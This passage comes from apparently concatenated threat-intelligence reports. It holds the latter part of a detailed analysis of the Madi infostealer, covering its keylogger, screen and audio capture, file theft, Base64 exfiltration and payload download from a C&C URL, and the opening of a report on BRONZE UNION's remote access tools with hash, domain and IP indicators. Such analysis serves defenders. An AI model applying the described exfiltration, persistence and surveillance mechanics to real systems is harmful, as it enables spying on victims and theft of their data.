Note: Specialfile.dll is therefore used to tell the malware what file extensions to look for and Timer 26 will handle diskget.
Afterwards, or if specialfile.dll was already present, it will check whether the logfi.dll is present, and stop parsing commands if it is not.
If the file is present, it looks in the command buffer for the word file and exits the commands parsing if not found.
If logfil.dll is present, it will search files on fixed hard drives and remote drives.
The authors poor programming skills are quite noticeable in this part of the code.
It is also interesting to note that it will search for MHTML files, even if that option isnt available in the Server Control tool, and that they made a duplicate entry in the hardcode list of files that need to be to located (htm is present twice).
File types searched: .txt/.jpg/.doc/.pdf/.bmp/.docx/.mdb/.xls/.csv/.html/.avi/ .mp3/.wave/.htm/.rar/.zip/.htm (again?
)/.gif/.7z/.jar/.JPEG/.mp4/.3gp/ .dat/.MPEG/.SWF/.WMV/.xml/.MHTML/ Total of 29 extensions, with one duplicate.
27 extensions are present in the Server Control tool and one that is not (MHTML).
It saves the log file as logfi.dll for each hard drive and creates a backup as logfi.dll.
BMH.
It will overwrite the logs for each iteration of the loop.
It only search files on remote and fixed drives, not on USB/external drives thats for the logging part.
Once the Parsing is complete, Timer 12 re-enables itself and exits.
Monitoring Timer 3: PIK handler  Webmail, social network and IM screen capture Interval: 60 seconds.
Timer 3 creates a begirnagir.htp file.
It then checks whether the user has been surfing or using the following applications and takes a screen capture if found: gmail, hotmail, yahoo mail, google, msn messenger, blogger, massenger (?
),
profile,icq, paltalk, yahoo messenger for the web, skype, facebook.
The screen captures are saved as a JPG using the following name convention: mm-dd-yyyy-hhnnss.
The Now and FormateDateTime functions are used.
Timer 13: DESK handler  Screen capture Interval: 3 minutes Note: The GUI used to control the bot says 2 minutes, but the code doesnt lie.
Timer 13 takes screen captures every 3 minutes.
They are saved using the following name convention: mm-dd-yyyy-hhnnss.
The Now and FormateDateTime functions are used.
The files are in JPG format.
Timer 14: SOUND handler  Recording sound This timer is responsible for starting the audio recording using the mci functions from winmm.dll.
The following commands are used: OPEN NEW TYPE WAVEAUDIO ALIAS mysound, SET mysound TIME FORMAT MS BITSPERSAMPLE 8 CHANNELS 1 SAMPLESPERSEC 8000 BYTESPERSEC 8000 and finally RECORD mysound.
Once the commands are sent, Timer 30 is enabled, and Timer 14 returns.
Timer 30: Started by Timer 14 (sound command handler) Interval: 60 seconds This timer does anything apart from start Timer 31 when it is time to save the recoded audio.
Timer 31: Started by Timer 30 (when it is time to save audio recordings) When sufficient time has passed since the start of audio recording, Timer 31 disables Timer 30, stops the recording by sending the following command: STOP mysound.
To save audio files, it sends the SAVE mysound command.
The files are saved using the following name convention: mm-dd-yyyy-hhnnss.
The Now and FormateDateTime functions are used.
The final file is saved as .wav.
BMH.
Timer 31 is then disabled, and Timer 14 (Sound handler) is re-nabled for the next audio recording.
Timer 32: Set up keylogger Interval: 60 seconds Even though the keylogger setup is performed when the application starts, in the FormCreate routine Timer 32 sets up the keylogger every 60 seconds.
The details of the keylogger have already been described earlier in this document.
Timer 2: Creation of keylogger logs Interval: 10 seconds Timer 2 starts by getting the current user name (GetUserName API Function), and then checks if the poki65.pik file is present.
This file is the current ongoing keylogging file.
If its not present, it looks for solt.html, which indicates whether the keylogger has created its first log yet.
If none of those files are present, it means it is the first time the keylogger has started logging.
The first log file is different from subsequent log files, as it contains more information.
The Madi keylogger files use HTML tags and colors to make them easier to read.
For the first log, it executes cmd.exe /c ipconfig /allcompartments  ipconfig.txt It waits 5 seconds and appends the content of ipconfig.txt to the HTML content that is created.
The computer name as well as the current user name is appended to the log, followed by the list of available drives: Floppy Drive, Fixed Drive, Network Drive, CD-Rom Drive and RAM Disk.
Finally, a full list of installed software, including security patches, is appended to the log file, as can be seen on the screenshot below: Once this part is completed, it creates a file called solt.htm containing the word wertik.
It will continue formatting the poki65 log file.
At the very beginning you can see the Content-Language set to fa, which is Persian.
This is how the keylogger logs are generated.
Timer 4: Insert time stamps and tags to display screen captures into keylogger logs.
Interval: 1 millisecond Timer 4 is responsible for inserting IMG tags inside the keylogger log.
It is also responsible for adding the time stamp taken from the CC server (see Miscellaneous section, Timer 7 and 8).
Timer 6: Backup keylogger log for exfiltration Timer 6 searches for the poki65.pik file - the current log session.
If not found, it returns.
It then looks for the size of the log file.
If it is lower than 15 KB, it will return.
Only log files bigger than 15 KB are exfiltrated.
If the size criteria is met, they are copied using the following name convention: mm-dd- yyyy-hhnnss.
HTM.
Timer 6 then deletes poki65.pik and returns.
Note: A new log will be created by Timer 2 (solt.html tells the keylogger not to list drives, installed software etc.
again).
DATA STEALING Data stealing is handled by several timers.
Each type of stolen data is stored in a special folder in the server.
Files exfiltrated to the CC servers are Base64 encoded.
BIND: Timer 28: Started during Form Creation (related to the BIND command) Note: When the infostealer starts, Timer 28 is enabled if the file nrbindek.dll is present (created by the BIND command).
Timer 28 searches for .exe files on all fixed hard drives.
For each EXE file found that doesnt belong to the Windows, Program Files or Program Files (x86) folders, an entry (full path to EXE file) is added to the file filebind.xls.
Once the hard drives have been scanned, Timer28 returns.
Filebind.xls therefore contains all the executables on the fixed hard drives, except from those in Windows and Program Files.
Timer 29: Started during Form Creation (related to the BIND command) Note: The code of this timer is some of the worst that is used in the infostealer.
The programming, obfuscated with Delphi, is very bad.
Timer 28 generates a list of EXE files that dont belong to the Windows, Program Files or Program Files (x86) folders.
For each entry of that file, Timer 29 will make a backup of the executables.
The .bind extension is appended to their original name.
Many files are used to monitor the exfiltration status of the executables.
However, Timer 29 doesnt actually seem to exfiltrate anything, probably because of bugs.
Timer 9: Check for files ready to be uploaded Interval: 5 seconds Timer 9 is disabled.
If either Timer 19 or Timer 20 is enabled, it means there is already an active exfiltrating task.
Timer 9 is enabled and it returns.
Otherwise, Timer 9 searches for files .KILOP as well as .htm.
BMH files in the malware directory.
KILOP files are Base64 encoded versions of files to exfiltrate.
If no file is found, Timer 9 is enabled and returned.
If files are present, they are ready to be exfiltrated, and Timer 19 is enabled.
Before returning, Timer 9 is enabled.
Timer 19: Check if IE instrumentation has been used to visit the upload page.
Interval: 25 seconds Timer 19 searches for a specific page title: If the page title new title hastam - Microsoft Internet Explorer is found, Timer 19 returns.
OKshodiha - Windows Internet Explorer means a file is ready to be uploaded  Timer 20 is enabled and returns.
If none of those captions are found, Timer 19 starts IE_Instrumentation and visits the Sendfilejj.html page, enables Timer 20, then returns.
Timer 20: File upload Timer 20 searches for .KILOP files, computes the BOTID (see Timer 1 for details), and fills the POST parameters.
The S0, S1 and S2 forms present in the Sendfilejj.html are filled and the file is uploaded using IE Instrumentation.
T3, is the BOTIDFolder used for uploading (see below) T2 is the file name T1 is the Base64 encoded content of the file.
To compute T3, the following folder is appended to the BOTID (each victim has a root folder named after the BOTID on the CC).
/Pi/ for .jpg.
BMH - Screen Captures Te/ for .htm.
BMH - Keylogger logs /So/ for .wav.
BMH - Audio Recordings /Fi/ for important.file.
BMH /Fi/CoolDisk/ for .fildik.
BMH (data stolen from removable drives) Files are sent via the Sendfilejj.html page hosted on the CC, which is a wrapper for the sik.php script used to receive exfiltrated data.
Timer 5: Base64 encoder for exfiltrated data Interval: 1 millisecond When triggered, it disables Timer 5, searches for .BMH files (files that will be exfiltrated once Base64 encoded) in the malware folder.
When one file is found, it checks if the file is indeed on the disk and accessible.
It Base64 encodes it and saves it as nameoffile.
BMH.KILOP.
The non encoded version (BMH) is deleted, Timer 5 is re-enabled and it returns.
Files are handled one by one, but the timer interval is very small, therefore its almost instantaneous.
Note: The resulting encoded files are those handled by Timer 20 described above.
The process occurs as follows: Timer 9 enables Timer 19, which enables Timer 20 to upload files generated by Timer 5.
Timer 21: Filesend.xls parser Filesend.xls has a list of files to exfiltrate.
Upon execution, Timer 21 is disabled.
If filesend.xls is present, it is opened and read.
All the files to be exfiltrated are separated by the  character as in the example below: C:Documents and SettingsUSER Desktoptoolsstealme.txtC:Documents and SettingsUSER Desktoptoolsstealme2.txt Timer 21 parses each entry, and will check whether the file exists.
If it does, a copy of the file will be made in the malware directory with a .file.
BMH extension.
(
In my example, we have: stealme.txt.file.
BMH.)
Timer 10: Tracking what was uploaded and cleaning IE instrumentation pages When a file has been uploaded using Timer 20, a POST is made to the sik.php file, a page is returned containing the name of the uploaded file, as well as the hardcoded string Save Shode as you can see on the screen capture below: Timer 10 is responsible for keeping track of some of the uploaded files.
Exfiltrated files are added to the rafteha.zip, which lists the files that have already been handled.
The last file path to be handled is saved to the fileomade.xls file.
Timer 15: Check for filesend.xls Timer 15 is disabled upon execution and filesend.xls is sought.
If present, Timer 15 is enabled and it returns.
If not, it checks whether Timer 1 is enabled.
If Timer 1 is enabled, it enables Timer 15 and returns.
If Timer 1 isnt enabled, Timer 15 checks the status of Timer 18.
If it is enabled, Timer 15 re-enables itself and returns.
If filesend.xls isnt present and both Timer 1 and Timer 18 are disabled, it creates a pangtkp.bat file, which contain ping CC_IP C:DOCUME1USERTEMPLA1iexplore.exe.pkklm.
That bat is executed, and both Timer 1 and 5 are enabled before returning.
There are other timers that are in some way or other related to exfiltration and data stealing, but they are all fairly similar.
There is a lot of redundancy in the malware.
Timer 23: List all removable drives on the machine Timer 23 lists all the removable drives on the machine, enables Timer 24, Timer 23 disables itself and returns.
Timer 24: Search and copy files from removable drives Timer 24 receives the list of removable drives computed by Timer 23, and searches all the files on the devices.
Stolen files will be copied to the malware directory with fildik.
BMH extensions, which will later be encoded as fildik.
BMH.KILOP (Base64) and exfiltrated.
The list of processed files are stored inside raftehacool.zip.
Miscellaneous The infostealer contains 52 timers.
Some of them do not perform any important tasks.
The authors decided to ping the CC server and save the results under specific file names.
Those files are checked and parsed in order to find out if the CC is up and if certain actions can be taken.
This is pretty amateurish programming.
Timer 44: simple ping via pangtipo.bat Timer 44 is disabled upon execution.
Timer 44 checks whether Timer 45 is enabled and returns if it is.
(
Timer 44 is enabled prior to returning.)
If Timer 45 is disabled, a pangtipo.bat file is created, which contains ping CC_IP C:DOCUME1USERTEMPLA1iexplore.exe.pkxml.
The bat file is executed, Timer 44 is enabled and Timer 44 returns.
Timer 11: Simple ping from pangtip.bat Timer 11 is disabled upon execution.
If Timer 16 is already enabled, Timer 11 re-enables itself and returns.
If Timer 17 is already enabled, Timer 11 re-enables itself and returns.
If none of the timers are enabled, it creates the pangtip.bat file, which contains ping CC_IP C:DOCUME1USERTEMPLA1iexplore.exe.pkxm and executes it via ShellExecute.
Timer 16 is enabled and returns.
Note: Timers 1, 7, 11, 15, 44 and 48 generate these batch files under different names and the results are saved under different names too.
Timer 7: Was timeip.php visited?
Timer 7 is disabled upon execution.
Timer 7 checks whether the timeip.php page was visited.
If not, it visits the page using IE instrumentation, Timer 7 disables itself and enables Timer 8 (see description below).
It creates the pangip.bat file, which contain ping CC_IP.
Results are saved as iexplore.exe.pkam.
Note: the file name used to save the output of the ping commands is based on the infostealer executable name, which is iexplore.exe.
If the executable is renamed, the log files will have different names.
Timer 8: Parse the results of the timeip.php visit The timeip.php script returns the current time and the IP address of the victim.
The results of the visit (done with IE instrumentation in Timer 7) are saved into a buffer which is used during the keylogger log creation (see Timer 4 description).
Timer 22: Ensure there is a backup copy of UpdateOffice (downloader) Note: The downloader is the only malware that starts after Windows boots.
Its therefore important to ensure various backup copies are made.
Timer 22 checks if UpdateOffice.exe is present in the infostealer directory (templates).
It shouldnt be, as it is only present in the printhood directory.
(
See Downloader description at the beginning of the article.)
Since it is not present, it calls a subroutine to get the path to the Printhood directory (GetSpecialFolderLocation with CSIDL_PRINTHOOD parameter).
While concatenating the UpdateOffice.exe and the Printhood folder, the  character is missing, and therefore, the routine is bugged.
The returned string is: C:Documents and SettingsUSERPrintHoodUpdateOffice.exe instead of C:Documents and SettingsUSERPrintHoodUpdateOffice.exe.
It then copies (or at least tries to, as the path is wrong) C:Documents and SettingsUSERPrintHoodUpdateOffice.exe as srAntiq.dll in the Templates folder.
If OfficeUpdate.exe isnt present in the printhood, a copy is made from srAntiq.dll.
It retrieves the path to the Startup Folder using the CSIDL_STARTUP: C:Documents and SettingsUSERStart MenuProgramsStartup.
Timer 22 checks whether OfficeUpdate.exe is present in that folder if not, it will make a copy of srAntiq.dll to the Startup folder and returns from Timer 22.
Timer 25: Check for fsdiskget.dll Timer 25 checks if fsdiskget.dll is present in the malware directory if not, it returns.
If the file is present, it enables Timer 23 (see the Data Stealing section for a description).
Timer 42: lbdiskgo.dll, soltanik.dll and res.exe checking Timer 42 checks whether a flag (set by Timer 34 and cleared by Timer 33) is set to 0 and if lbdiskgo.dll, soltanik.exe and res.exe are present.
If they are, it enables Timer 33 otherwise, it returns.
Timer 43: lbdiskgo.dll / ladine.dll / res.exe checking Timer 43 returns directly if neither lbdiskgo.dll or ladine.dll are present.
If res.exe is present, it enables Timer 44 and Timer 48 otherwise, it returns.
Timer 45: Visit the ReReReRe.htm page Timer 45 deletes pangtipo.bat, reads iexplore.pkxml to make sure the CC replied.
(
Timer 1 and Timer 16 provides some more details on the use of such .bat files.)
Uses FindWindow to check whether IE Instrumentation has been used to visit the special ReReReRe.html page, which contains the following title: rrrr.
It looks for different variants such as rrrr - Windows Internet Explorer or rrrr - Microsoft Internet Explorer.
If one of them is found, it means the page was visited using IE instrumentation.
It disables Timer 45 and returns.
If none of them are found, Timer 45 will visit the URL http://CCIP/ASLK//asgari/mah/ReReReRe.htm, enable Timer 46 (see below), disable Timer 45 and return.
Timer 46: Parse ReReReRe.htm (downloaded by Timer 45) Timer 46 goes through all the different running instances of instrumented IE, looking at the title of each HTM page.
The main interest here is rrrr.
This page is the ReReReRe.htm file downloaded by Timer 45.
Timer 46 looks for a special EOF (End Of File) marker: tamamshodfile.
This marker is used by the infostealer to make sure the htm page was fully downloaded.
Once the page has been confirmed as valid, it looks for the textarea id S1 which holds double Base64 encoded PE Files.
The Base64 encoded data is saved as: ASLASLKK223.dll.
Timer 47: Double decoding of Base64 encoded payload from ReReReRe.htm Note: Timer 46 saves the payload as ASLASLKK223.dll.
Since the payload file is double encoded, the decoding is performed in two steps: ASLASLKK223.dll is decoded to ASLASLKK224.dll to get a single encoded Base64 file.
ASLASLKK224.dll is decoded to res.exe : Final PE file.
Res.exe is a copy of the Resource Hacker utility.
ASLASLKK224.dll is deleted.
The use of Res.exe is described in the analysis of Timer 39 below.
Once Timer 47 has finished enumerating all the IE instances, it will call a cleaning routine.
It searches for - rrrr - Windows Internet Explorer and different variants described in Timer 45 and sends a WM_Close Message to IE Windows in order to close them.
Among all those captions, it also searches for  - 404 - File or directory not found.
and variants of 404 pages.
Once the cleaning is completed, Timer 47 disables itself and returns.
Timer 49: Visit the SeSeSeSe.htm page Timer 49 is almost identical to Timer 45.
The only difference is the page visited: SeSeSeSe.htm instead of ReReReRe.htm See the Timer 45 description for details.
Timer 50: Parse SeSeSeSe.htm (downloaded by Timer 49) Timer 50 is almost identical to Timer 46.
The only difference is the page parsed: SeSeSeSe.htm instead of ReReReRe.htm and local file names.
The double encoded payload is saved as ASLASLKK2231.dll.
See the Timer 46 description for details.
Timer 51: Double decoding of Base64 encoded payload from SeSeSeSe.htm Note: Timer 50 saves the payload as ASLASLKK2231.dll.
Since the payload file is double encoded, the decoding is performed in two steps: ASLASLKK2231.dll is decoded to ASLASLKK2241.dll to get a single encoded Base64 file.
ASLASLKK2241.dll is decoded to Ladine.dll: final PE file.
Note: At the time of writing, the SeSeSeSe.htm page had been removed from the CC server.
A CC server used by older variants of the infostealer is still available and the old page name was SSSS.htm.
The embedded file is a template of a downloader executable (see Timers 35, 36, 37, 38 and 39 for further information).
Once Timer 51 has finished enumerating all the IE instances, it will call a cleaning routine.
It searches for - ssss - Windows Internet Explorer and different variants described in Timer 45, and sends a WM_Close Message to IE Windows in order to close them.
Among all those captions, it also searches for  - 404 - File or directory not found.
and variants of 404 pages.
Once the cleaning is completed, Timer 51 disables itself and returns.
BETA/NON-WORKING FEATURES: New executable generation There are a few timers in the infostealer that are related to a missing file.
I managed to find a copy of the missing file from an older command and control server, in order to understand the intentions of the authors.
The missing file is downloaded by Timer 50: SeSeSeSe.htm.
Its not present on the current CC servers.
If we were to replace the SeSeSeSe.htm with an old copy (originally SSSS.htm), Timer 51 would produce a file called Ladine.dll, which is a template executable of the Trojan downloader used to install the infostealer.
Timer 52: Copy Ladine.dll to Soltanik.exe Timer 52 makes a copy of Ladine.dll under the name soltanik.exe, which is the template file.
Timer 35: Clean files from Timer 39 Timer 35 is disabled.
A special BOTID is created by concatenating CoolDiskGo( with BOTID_TMP), e.g.
: CoolDiskGo(MYCOMPUTER-8712422C6C7704EF) Timer 35 puts the CC IP address in a global variable that will be used by Timer 38.
Timer 35 tries to delete the following several files created by Timer 39: 1.txt, res.ini, res.log, Icon_1.ico,output.rc and server.exe.
It does several other things which are not relevant to what I describe here, so Ive omitted any reference to those actions.
Timer 36 is enabled before returning.
Timer 36: Enable Timer 37 if 1.txt isnt found - logic/code bug Timer 36 is disabled upon execution.
If 1.txt isnt present, Timer 37 is enabled.
Otherwise, it calls a Base64 decoding function.
1.txt must be a valid Base64 encoded stream of bytes otherwise, an exception occurs and Timer 36 returns.
Timer 37: Update resource for the template downloader: Soltanik.exe Timer 37 is disabled upon execution.
A structure exception handler is installed before reading 1.txt.
In the event of an exception the SEH handler will enable Timers 42, 34, 33, 35, and Timer 37 will return.
Timer 37 expects 1.txt to be present and here is the logic bug.
Timer 37 is only enabled when 1.txt isnt present, by Timer 36.
Lets ignore the reasons for its creation and continue analyzing the intentions of the authors.
Timer 37 calls the BeginUpdateResource (with the bDeleteExistingResources parameter set to 0), and start updating the resources of the template executable (soltanik.exe) in RCDATA.
A MAHDI entry is added, with the Base64 content from 1.txt.
This works in exactly the same way as the downloaders with social engineering features.
Timer 38 is enabled, and Timer 37 returns.
Note: At the end of Timer 37, Soltanik has been modified to have a new resource: MAHDI.
Timer 38: Update more resources from the template downloader (Soltanik.exe) Several entries are added to RCDATA: Shelikn : Special BotID generated by Timer 35 SiteW: CC IP address Bind: Empty (according to analysis of the downloaders that use social engineering, it should be the extension of the embedded file dropped to social engineering victims.
If MAHDI contains a Base64 encoded picture, Bind should be set to .JPG).
Filee: SCR Roze: 0 Once the resources have been updated, Timer 39 is enabled and Timer 38 returns.
Timer 39: Generate a final binary: Server.exe with updated icon At the end of Timer 38, soltanik.exe has been fully updated with new resources.
Upon execution, Timer 39 disables itself and starts generating a special command line for the Resource Hacker tool that was created as Res.exe by Timer 47.
The command line is the following: There is a bug in the routine.
An executable name is missing right after -extract.
The command line dumps the Main Icon to disk (Icon_1.ico) and creates a file called output.rc.
At this point, it is impossible to know which file was meant to be used as the source of a new icon.
For the sake of our analysis, lets pretend the bug doesnt exist and that a valid file name was provided.
Afterwards, a second command line is passed to Res.exe: This final command line will generate Server.exe, a copy of soltanik.exe whose icon has been changed to the one extracted in the previous command.
Server.exe is now fully updated.
Its resources are filled, and its icon changed.
Its not clear why the authors did this, but despite all the bugs it was possible to understand the overall aim of the routine: to create a Server.exe file from soltanik.exe with a new icon and added resources.
What happens to Server.exe?
Nothing, this is a non-working feature.
It appears Madi has the ability to generate new downloaders, at least, in theory.
The 7 remaining timers wont be described as they are of little interest.
Conclusions In this article we closely analyzed the infostealer used in the Madi campaign.
The coding style and the usage of Delphi, together with the programming techniques indicate a rudimentary approach.
Most of the data-stealing actions and communication with the CC servers take place via external files, which is rather messy.
Whoever coded it is probably still reading through the first chapters of their Delphi manuals.
This is maybe why it is surprising to note its effectiveness, considering the data received from the sinkhole.
During the monitored period, a little over 800 victims were connected to the servers.
All of them fell prey to the various social engineering techniques used by the malware.
To sum up, we can say the following: the components of the Madi campaign are surprisingly unsophisticated no exploits or advanced 0-day techniques are used anywhere in the malware despite that, the overall success of the campaign is surprisingly high nevertheless, we should remember that even low quality malware can steal data Madi was a low investment, high profit project its authors remain unknown We will continue to monitor the Madi malware and update you on our findings in the future.
A Peek into BRONZE UNIONs Toolbox secureworks.com/research/a-peek-into-bronze-unions-toolbox Threat Analysis Wednesday, February 27, 2019 By: Counter Threat Unit Research Team Summary Secureworks Counter Threat Unit (CTU) researchers have tracked the activities of the BRONZE UNION threat group (also known as Emissary Panda, APT 27, and LuckyMouse) since 2013.
CTU analysis suggests that BRONZE UNION is located in the Peoples Republic of China.
The threat group has historically leveraged a variety of publicly available and self-developed tools to gain access to targeted networks in pursuit of its political and military intelligence-collection objectives.
Breathing new life into old tools In 2018, CTU researchers identified evidence of BRONZE UNION leveraging tools that have been publicly available for years.
However, the variants used in 2018 included updated code.
ZxShell games In mid-2018, CTU researchers observed BRONZE UNION deploying an updated version of the ZxShell remote access trojan (RAT).
ZxShell was developed in 2006 by the persona LZX, who then publicly released the source code in 2007.
Although various threat actors have created different variations of the RAT, the version used by BRONZE UNION in 2018 contained some previously unobserved properties that suggest the threat groups capabilities continue to evolve: The malware embedded the well-known HTran packet redirection tool.
The malware was signed with digital certificates that were signed by Hangzhou Shunwang Technology Co., Ltd (Serial: 29 f7 33 6f 60 92 3a f0 3e 31 f2 a5) and Shanghai Hintsoft Co., Ltd. (Serial: 09 89 c9 78 04 c9 3e c0 00 4e 28 43).
These certificates are not exclusively used by BRONZE UNION but may indicate BRONZE UNION activity.
Figure 1 shows a session captured by Red Cloak where a BRONZE UNION threat actor launched a remote shell using ZxShell.
Figure 1.
BRONZE UNION threat actor session.
(
Source: Secureworks) You look like youve seen a Gh0st RAT Like ZxShell, publicly available Gh0st RAT source code led to the emergence of several different variants.
In a 2018 campaign, BRONZE UNION likely deployed modified Gh0st RAT malware to multiple systems within a compromised environment that were important to the threat actors objective.
When executed with administrator privileges, the Gh0st 1/9 https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox https://www.secureworks.com/research/bronze-union https://blogs.cisco.com/security/talos/opening-zxshell https://www.secureworks.com/research/htran https://www.secureworks.com/resources/ds-aetd-red-cloak-data-sheet https://www.secureworks.com/resources/rp-incident-response-insights-report-2019 RAT binary file was written to System\FastUserSwitchingCompatibilitysex.dll.
The installer then created a Windows service and associated service dynamic link library (DLL) chosen from the names listed in Table 1.
Service name DLL installed in System Ias Iassex.dll Irmon Irmonsex.dll Nla Nlasex.dll Ntmssvc Ntmssvcsex.dll NWCWorkstation NWCWorkstationsex.dll Nwsapagent Nwsapagentsex.dll SRService SRServicesex.dll Wmi Wmisex.dll WmdmPmSp WmdmPmSpsex.dll LogonHours LogonHourssex.dll PCAudit PCAuditsex.dll helpsvc helpsvcsex.dll uploadmgr uploadmgrsex.dll Table 1.
Service names and DLLs used by Gh0st RAT.
This Gh0st RAT sample communicated with IP address 43 .
242 .
35 .
16 on TCP port 443, although the traffic is a custom binary protocol and not HTTPS.
The malware author also modified the standard Gh0st RAT headers to obfuscate the network traffic (see Figure 2).
Figure 2.
Gh0st RAT network traffic.
(
Source: Secureworks) Bytes 0-4, which are typically known as the Gh0st RAT identifier, are randomized in this case.
Bytes 5-8 indicate the packet size, and bytes 9-12 indicate the zlib-decompressed packet size.
In a departure from previous Gh0st RAT versions, the five bytes at the end of this packet are an XOR key, which must be applied to the packet data before the zlib decompression can be performed.
The XOR key is different for each execution of the malware.
Once the packet is decoded and decompressed, the data shown in Figure 3 is visible.
2/9 Figure 3.
Decoded Gh0st RAT check-in packet.
(
Source: Secureworks) The first byte of Figure 3 shows the value 0x66, which is the Gh0st RAT code for login.
After sending the initial phone- home request, Gh0st RAT exchanges 22-byte command packets with its command and control (C2) server.
Once again, the first five bytes are randomized and the zlib-compressed part of the packet is XOR-encoded, but the same identifiable structure remains.
In the example command packet shown in Figure 4, the first five bytes are the randomized header and the next eight bytes show the compressed and uncompressed size of the data.
The XOR key for this packet is 0x7c.
Figure 4.
Gh0st RAT command packet.
(
Source: Secureworks) Creating custom solutions In addition to publicly available tools, BRONZE UNION has also used proprietary remote access tools such as SysUpdate and HyperBro since 2016.
Despite self-developed tools generally benefitting from lower detection rates than publicly available tools, the threat actors appear to use their own tools more sparingly after securing consistent network access.
SysUpdate is a multi-stage malware used exclusively by BRONZE UNION.
It has been delivered by multiple methods.
In one instance observed by CTU researchers, it was downloaded by a malicious Word document using the Dynamic Data Exchange (DDE) embedded command method.
In another incident, the threat actor manually deployed SysUpdate via previously stolen credentials after gaining access to the environment.
In a third case, it was delivered via a redirect from a strategic web compromise (SWC).
Regardless of the delivery method, the payload is a WinRAR self-extracting (SFX) file that installs the SysUpdate stage 1 payload.
The stage 1 payload is responsible for the following tasks: installing the stage 1 malware through DLL search-order hijacking setting up persistence by configuring either a registry Run key (see Figure 5) or an Own Process Windows service depending on privileges available at the time of installation contacting a C2 server to retrieve and install a second malware payload 3/9 https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/ https://securelist.com/luckymouse-hits-national-data-center/86083/ https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(vvs.85).aspx https://attack.mitre.org/techniques/T1038/ Figure 5.
SysUpdate user-level Run key.
(
Source: Secureworks) SysUpdate stage 1 has no capability beyond downloading the second payload file, SysUpdate Main (see Figure 6).
Figure 6.
SysUpdate stage 1 installation process.
(
Source: Secureworks) SysUpdate Main employs HTTP communications and uses the hard-coded User-Agent Mozilla/5.0 (Windows NT 6.3 WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36.
It downloads a file named m.bin using the HTTP GET method and injects this file into a new svchost.exe process without saving the file to disk.
After performing this download, SysUpdate Main reverts to its binary protocol for any additional commands from the C2 server, beaconing every three minutes.
The SysUpdate Main file analyzed by CTU researchers included remote access capabilities such as managing files and processes, launching a command shell, interacting with services, taking screenshots, and uploading and downloading additional malware payloads.
SysUpdate is flexible malware, as capabilities can be easily introduced and withdrawn by supplying a new payload file.
The operator could remove second-stage capabilities at any time and revert to the first stage by supplying a replacement payload file.
By withdrawing second-stage payloads when not in use, operators can limit exposure of their full capabilities if the malicious activity is detected.
Conclusion 4/9 BRONZE UNION was one of the most prolific and active targeted threat groups tracked by CTU researchers in 2017 and 2018.
The threat actors have access to a wide range of tools, so they can operate flexibly and select tools appropriate for intrusion challenges.
During complex intrusion scenarios, the threat actors leverage their proprietary tools, which offer custom functionality and lower detection rates.
They appear to prefer using widely available tools and web shells to maintain access to networks over longer periods.
After accessing a network, the threat actors are adept at circumventing common security controls, escalating privileges, and maintaining their access to high-value systems over long periods of time.
Threat indicators The threat indicators in Table 2 are associated with BRONZE UNION activity.
Note that IP addresses can be reallocated.
The IP addresses and domains may contain malicious content, so consider the risks before opening them in a browser.
Indicator Type Context b7f958f93e2f297e717cffc2fe43f2e9 MD5 hash ZxShell installer fa53f09cd22b46b554762dc1a12c99dd692ec681 SHA1 hash ZxShell installer ef049339f1eb091cda335b51939f91e784e1ab1e006056d5a6bb526743b6cbc7 SHA256 hash ZxShell installer 62bcbfae5276064615d0d45b895fdff2 MD5 hash ZxShell service DLL (AudioSdk.dll) 9020e5010a916c6187597e9932402ed29098371c SHA1 hash ZxShell service DLL (AudioSdk.dll) c2229a463637433451a3a50ccf3c888da8202058f5022ffd2b00fc411b395b79 SHA256 hash ZxShell service DLL (AudioSdk.dll) ae9c39e0d9a0c0ae48a72cb10521d2f3 MD5 hash Malicious driver associated with ZxShell (autochk.sys) 2e80926d67ea68acb1df441be5ee1f2d86e7f92b SHA1 hash Malicious driver associated with ZxShell (autochk.sys) b28c024db80cf3e7d5b24ccc9342014de19be990efe154ba9a7d17d9e158eecb SHA256 hash Malicious driver associated with ZxShell (autochk.sys) language.wikaba.com Domain name ZxShell C2 server solution.instanthq.com Domain name ZxShell C2 server 40cdd3cfe86c93872b163fb3550f47f6 MD5 hash Gh0st RAT installer (T.exe) ad2b27ea2fde31b1cc5104c01a21b22fef507c3d SHA1 hash Gh0st RAT installer (T.exe) 9a1437edd0493ff615a77b9ee1717c5f49ab0b28d1778898f591fb803655fbc6 SHA256 hash Gh0st RAT installer (T.exe) 9c42cd7efbdfc47303d051f056c52d29 MD5 hash Gh0st RAT binary (install.dll, FastUserSwitchingCompatibilitysex.dll) 5/9 b8aa43dc92bec864c94442e6bf8c629c3bd0fe92 SHA1 hash Gh0st RAT binary (install.dll, FastUserSwitchingCompatibilitysex.dll) 0b1217bd95678ca4e6f81952226a0cfd639ce4b2f7e7fce94ab177d42c5abf62 SHA256 hash Gh0st RAT binary (install.dll, FastUserSwitchingCompatibilitysex.dll) 06348bbe0cc839f23c2d9471cfb19de3 MD5 hash Gh0st RAT installer (Update.exe) cd7c92ac0b36a8befa1b151537fc3fcdafca8606 SHA1 hash Gh0st RAT installer (Update.exe) b43ccd5b23d348f72466612d597ad71246113a9d524c9b27e682d1f7300a0672 SHA256 hash Gh0st RAT installer (Update.exe) 43.242.35.16 IP address Gh0st RAT C2 server observed in April 2018 103.85.27.78 IP address Gh0st RAT C2 server observed in April 2018 trprivates.com Domain name SysUpdate C2 server sinkholed by CTU researchers mildupdate.com Domain name SysUpdate C2 server sinkholed by CTU researchers 43.242.35.13 IP address SysUpdate C2 server observed in late 2017 c8d83840b96f5a186e7bb6320e998f72 MD5 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 42e3fbff6f5576a3f4e8f941ea3dc00462d7838c SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 938f32822c1a6b1140ac0af60a06ae39011464de37c511921d8a7d9c6a69c9df SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION ef41da16fdedcc450d0cc6ca708a9222 MD5 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 714215d63b2f2d8f2caf94902af2f25452c21264 SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 0777fa4832ecf164029e23d0125b4fdc87e2f46ffc4e1badd6a45cf5be721660 SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION c25e8e4a2d5314ea55afd09845b3e886 MD5 hash SysUpdate installer 